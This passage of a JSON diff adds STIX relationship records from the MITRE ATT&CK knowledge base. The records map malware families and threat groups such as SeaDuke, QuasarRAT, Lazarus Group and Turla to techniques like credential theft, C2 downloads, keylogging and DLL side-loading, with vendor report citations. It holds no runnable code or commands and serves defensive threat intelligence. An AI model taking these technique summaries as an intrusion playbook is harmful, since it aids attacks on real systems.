"malware--73a4793a-ce55-4159-b2a6-208ef29b326f", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2010, January 18). The Trojan.Hydraq Incident. Retrieved February 20, 2018.", + "source_name": "Symantec Trojan.Hydraq Jan 2010", + "url": "https://www.symantec.com/connect/blogs/trojanhydraq-incident" + }, + { + "description": "Lelli, A. (2010, January 11). Trojan.Hydraq. Retrieved February 20, 2018.", + "source_name": "Symantec Hydraq Jan 2010", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2010-011114-1830-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a257ed11-ff3b-4216-8c9d-3938ef57064c", + "description": "Some [SeaDuke](https://attack.mitre.org/software/S0053) samples have a module to use pass the ticket with Kerberos for authentication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--02a7ea5c-695c-4932-9160-6e0441789670", + "source_ref": "malware--67e6d66b-1b82-4699-b47a-e2efb6268d14", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2015, July 13). \u201cForkmeiamfamous\u201d: Seaduke, latest weapon in the Duke armory. Retrieved July 22, 2015.", + "source_name": "Symantec Seaduke 2015", + "url": "http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--b42378e0-f147-496f-992a-26a49705395b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--87231371-e005-44ab-9b66-1954615f2a7e", + "source_ref": "malware--310f437b-29e7-4844-848c-7220868d074a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "revoked-by" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--4579d9c9-d5b9-45e0-9848-0104637b579f", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the getFirefoxPassword function to attempt to locate Firefox passwords.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b9e2fac9-fc1a-4e13-ac68-1a5796b04d72", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.030Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7dd95ff6-712e-4056-9626-312ea4ab4c5e", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) has used C:\\Windows\\Debug and C:\\Perflogs as staging directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--b7d36798-e9f2-4474-836e-80b100a561e6", + "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "modified": "2019-04-25T12:24:57.200Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "source_name": "FireEye Periscope March 2018", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--e8268361-a599-4e45-bd3f-71c8c7e700c0", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--c6ceeb68-5d8e-4105-a20a-cce2b3ef48f0", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.842Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[RedLeaves](https://attack.mitre.org/software/S0153) can delete specified files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6d51e34d-d2ee-41aa-9ec7-dc74c84ebe9f", + "source_ref": "malware--17b40f60-729f-4fe8-8aea-cc9ee44a95d5", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "PwC and BAE Systems. (2017, April). Operation Cloud Hopper: Technical Annex. Retrieved April 13, 2017.", + "source_name": "PWC Cloud Hopper Technical Annex April 2017", + "url": "https://www.pwc.co.uk/cyber-security/pdf/cloud-hopper-annex-b-final.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[CORESHELL](https://attack.mitre.org/software/S0137) downloads another dropper from its C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--e41ab3e7-2b69-4461-a693-e53a24c9ab59", + "source_ref": "malware--60c18d06-7b91-4742-bae3-647845cd9d81", + "modified": "2019-01-30T18:08:51.179Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye APT28", + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[RogueRobin](https://attack.mitre.org/software/S0270) can save a new file to the system from the C2 server.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2227a2ce-2eda-4fe3-a9ca-524e0de0ded2", + "source_ref": "malware--8ec6e3b4-b06d-4805-b6aa-af916acc2122", + "modified": "2019-04-24T23:55:43.269Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R., et al. (2018, July 27). New Threat Actor Group DarkHydrus Targets Middle East Government. Retrieved August 2, 2018.", + "source_name": "Unit 42 DarkHydrus July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-new-threat-actor-group-darkhydrus-targets-middle-east-government/" + }, + { + "description": "Lee, B., Falcone, R. (2019, January 18). DarkHydrus delivers new Trojan that can use Google Drive for C2 communications. Retrieved April 17, 2019.", + "source_name": "Unit42 DarkHydrus Jan 2019", + "url": "https://unit42.paloaltonetworks.com/darkhydrus-delivers-new-trojan-that-can-use-google-drive-for-c2-communications/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--42e8de7b-37b2-4258-905a-6897815e58e0", + "description": "[Felismus](https://attack.mitre.org/software/S0171) has masqueraded as legitimate Adobe Content Management System files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--2843ccc2-4869-48a0-8967-b9856a778a2c", + "source_ref": "malware--196f1f32-e0c2-4d46-99cd-234d4b6befe1", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Somerville, L. and Toro, A. (2017, March 30). Playing Cat & Mouse: Introducing the Felismus Malware. Retrieved November 16, 2017.", + "source_name": "Forcepoint Felismus Mar 2017", + "url": "https://blogs.forcepoint.com/security-labs/playing-cat-mouse-introducing-felismus-malware" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[BADNEWS](https://attack.mitre.org/software/S0128) is capable of downloading additional files through C2 channels, including a new version of itself.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--b3f53743-4bd9-47a6-bf41-6f7786bbdc87", + "source_ref": "malware--e9595678-d269-469e-ae6b-75e49259de63", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Settle, A., et al. (2016, August 8). MONSOON - Analysis Of An APT Campaign. Retrieved September 22, 2016.", + "source_name": "Forcepoint Monsoon", + "url": "https://www.forcepoint.com/sites/default/files/resources/files/forcepoint-security-labs-monsoon-analysis-report.pdf" + }, + { + "description": "Levene, B. et al.. (2018, March 7). Patchwork Continues to Deliver BADNEWS to the Indian Subcontinent. Retrieved March 31, 2018.", + "source_name": "PaloAlto Patchwork Mar 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/03/unit42-patchwork-continues-deliver-badnews-indian-subcontinent/" + }, + { + "description": "Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.", + "source_name": "TrendMicro Patchwork Dec 2017", + "url": "https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Helminth](https://attack.mitre.org/software/S0170) samples have been signed with legitimate, compromised code signing certificates owned by software company AI Squared.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--259a5116-2492-4d7b-b300-1cf9b8c79f00", + "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cybersecurity. (2017, January 5). Iranian Threat Agent OilRig Delivers Digitally Signed Malware, Impersonates University of Oxford. Retrieved May 3, 2017.", + "source_name": "ClearSky OilRig Jan 2017", + "url": "http://www.clearskysec.com/oilrig/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--1b84d551-6de8-4b96-9930-d177677c3b1d", + "description": "[Nerex](https://attack.mitre.org/software/S0210) drops a signed Microsoft DLL to disk.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--4e1d7798-ffb7-4495-aab7-ca13db2dade5", + "source_ref": "malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.", + "source_name": "Symantec Nerex May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[KEYMARBLE](https://attack.mitre.org/software/S0271) has the capability to delete files off the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--def89c4a-b394-4137-8a96-c794780352f2", + "source_ref": "malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, August 09). MAR-10135536-17 \u2013 North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.", + "source_name": "US-CERT KEYMARBLE Aug 2018", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR18-221A" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "description": "[MURKYTOP](https://attack.mitre.org/software/S0233) has the capability to retrieve information about users on remote hosts.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--ef699184-4191-4fc0-8525-6fa1dcfc61d7", + "source_ref": "malware--049ff071-0b3c-4712-95d2-d21c6aa54501", + "modified": "2019-04-22T23:25:33.564Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FireEye Periscope March 2018", + "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can retrieve system information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--05104256-7e9a-457b-8e9f-86976992f3c7", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b2001907-166b-4d71-bb3c-9d26c871de09", + "description": "[FinFisher](https://attack.mitre.org/software/S0182) uses DLL side-loading to load malicious programs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--bfb99438-5a97-47e1-921f-dbf8863799ed", + "source_ref": "malware--a5528622-3a8a-4633-86ce-8cdaf8423858", + "modified": "2019-08-12T17:30:07.365Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "FinFisher Citation", + "description": "FinFisher. (n.d.). Retrieved December 20, 2017.", + "url": "http://www.finfisher.com/FinFisher/index.html" + }, + { + "source_name": "Microsoft FinFisher March 2018", + "description": "Allievi, A.,Flori, E. (2018, March 01). FinFisher exposed: A researcher\u2019s tale of defeating traps, tricks, and complex virtual machines. Retrieved July 9, 2018.", + "url": "https://cloudblogs.microsoft.com/microsoftsecure/2018/03/01/finfisher-exposed-a-researchers-tale-of-defeating-traps-tricks-and-complex-virtual-machines/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f24faf46-3b26-4dbb-98f2-63460498e433", + "description": "[Linfo](https://attack.mitre.org/software/S0211) creates a backdoor through which remote attackers can change C2 servers.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--0fbd4496-f715-4edd-b4da-169d6047a7c9", + "source_ref": "malware--e9e9bfe2-76f4-4870-a2a1-b7af89808613", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Zhou, R. (2012, May 15). Backdoor.Linfo. Retrieved February 23, 2018.", + "source_name": "Symantec Linfo May 2012", + "url": "https://www.symantec.com/security_response/writeup.jsp?docid=2012-051605-2535-99" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can delete files on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--30c22798-520c-40cc-b53f-352a1c0a4940", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add", + "description": "[H1N1](https://attack.mitre.org/software/S0132) contains a command to download and execute a file from a remotely hosted URL using WinINet HTTP requests.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--a7e5ffbc-d123-4f62-88eb-36b32656cd35", + "source_ref": "malware--f8dfbc54-b070-4224-b560-79aaa5f835bd", + "modified": "2019-04-29T18:23:16.002Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Reynolds, J.. (2016, September 14). H1N1: Technical analysis reveals new capabilities \u2013 part 2. Retrieved September 26, 2016.", + "source_name": "Cisco H1N1 Part 2", + "url": "http://blogs.cisco.com/security/h1n1-technical-analysis-reveals-new-capabilities-part-2" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", + "description": "Some resources in [Prikormka](https://attack.mitre.org/software/S0113) are encrypted with a simple XOR operation or encoded with Base64.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--290a1ceb-68e1-42ae-be81-f474038aaa05", + "source_ref": "malware--37cc7eb6-12e3-467b-82e8-f20f2cc73c69", + "modified": "2019-07-26T20:45:14.222Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Cherepanov, A.. (2016, May 17). Operation Groundbait: Analysis of a surveillance toolkit. Retrieved May 18, 2016.", + "source_name": "ESET Operation Groundbait", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/05/Operation-Groundbait.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) can launch a remote shell to execute commands on the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b1bd60cf-f120-4ed1-b891-0ae3fab2a725", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.540Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2", + "description": "[QuasarRAT](https://attack.mitre.org/software/S0262) has a built-in keylogger.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--2ede8fe4-0a44-4c31-ba4c-d3282d57b4b8", + "source_ref": "tool--da04ac30-27da-4959-a67d-450ce47d9470", + "modified": "2019-06-24T19:05:41.567Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "GitHub QuasarRAT", + "description": "MaxXor. (n.d.). QuasarRAT. Retrieved July 10, 2018.", + "url": "https://github.com/quasar/QuasarRAT" + }, + { + "source_name": "Volexity Patchwork June 2018", + "description": "Meltzer, M, et al. (2018, June 07). Patchwork APT Group Targets US Think Tanks. Retrieved July 16, 2018.", + "url": "https://www.volexity.com/blog/2018/06/07/patchwork-apt-group-targets-us-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--56fca983-1cf1-4fd1-bda0-5e170a37ab59", + "description": "[TDTESS](https://attack.mitre.org/software/S0164) creates then deletes log files during installation of itself as a service.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--0061f7aa-fe4e-41e5-8ebf-e9f526bda08f", + "source_ref": "malware--0b32ec39-ba61-4864-9ebe-b4b0b73caf9a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.", + "source_name": "ClearSky Wilted Tulip July 2017", + "url": "http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7b88fc6b-32c0-4c3d-9ea3-505543c7f374", + "source_ref": "course-of-action--9a5b7194-88e0-4579-b82f-e3c27b8cca80", + "modified": "2019-10-18T18:48:44.996Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Remsec](https://attack.mitre.org/software/S0125) is capable of using HTTP, HTTPS, SMTP, and DNS for C2.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d7e57ff2-f14b-44fa-97e3-8bc976cb9bd5", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Symantec Security Response. (2016, August 8). Backdoor.Remsec indicators of compromise. Retrieved August 17, 2016.", + "source_name": "Symantec Remsec IOCs", + "url": "http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/Symantec_Remsec_IOCs.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Full Report", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_research_KL.pdf" + }, + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.044Z", + "id": "relationship--2df910df-37cc-4349-96c3-f938fa5a9054", + "source_ref": "intrusion-set--a653431d-6a5e-4600-8ad3-609b5af57064", + "modified": "2019-03-22T20:09:34.827Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Alperovitch 2014", + "description": "Alperovitch, D. (2014, July 7). Deep in Thought: Chinese Targeting of National Security Think Tanks. Retrieved November 12, 2014.", + "url": "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "Some [Lazarus Group](https://attack.mitre.org/groups/G0032) malware uses a list of ordered port numbers to choose a port for C2 traffic, which includes commonly used ports such as 443, 53, 80, 25, and 8080.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.069Z", + "id": "relationship--88896f55-5606-4b21-8616-e7965a863dd8", + "source_ref": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "modified": "2019-09-09T19:15:44.929Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Novetta Blockbuster RATs", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8c32eb4d-805f-4fc5-bf60-c4d476c131b5", + "description": "[Turla](https://attack.mitre.org/groups/G0010) has used spearphishing via a link to get users to download and run their malware.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--8be8b96b-b69c-497a-8b38-308b8bd291ff", + "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", + "modified": "2019-07-14T21:04:44.963Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "ESET Turla Mosquito Jan 2018", + "description": "ESET, et al. (2018, January). Diplomats in Eastern Europe bitten by a Turla mosquito. Retrieved July 3, 2018.", + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[Comnie](https://attack.mitre.org/software/S0244) uses HTTP for C2 communication.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--7ee6890f-748e-419e-a442-7dd44e29958a", + "source_ref": "malware--f4c80d39-ce10-4f74-9b50-a7e3f5df1f2e", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. (2018, January 31). Comnie Continues to Target Organizations in East Asia. Retrieved June 7, 2018.", + "source_name": "Palo Alto Comnie", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-comnie-continues-target-organizations-east-asia/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[TrickBot](https://attack.mitre.org/software/S0266) uses port 443 for C2 communications.", + "created_by_ref": 